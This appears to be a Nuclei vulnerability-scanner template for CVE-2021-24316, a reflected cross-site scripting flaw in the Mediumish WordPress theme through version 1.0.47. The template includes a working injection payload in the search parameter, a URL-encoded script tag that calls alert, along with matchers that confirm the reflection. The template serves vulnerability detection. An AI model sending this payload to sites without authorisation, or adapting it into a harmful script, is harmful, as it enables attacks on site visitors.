nuclei-templates/cves/2021/CVE-2021-24316.yaml

40 lines
1.1 KiB
YAML

id: CVE-2021-24316
info:
author: 0x_Akoko
description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS.
name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress
severity: medium
tags: cve,cve2021,mediumish,xss,wordpress
reference:
- https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
- https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-24316
cwe-id: CWE-79
requests:
- method: GET
path:
- '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<script>alert(/{{randstr}}/)</script>"
- "Sorry, no posts matched your criteria."
part: body
condition: and
- type: word
words:
- "text/html"
part: header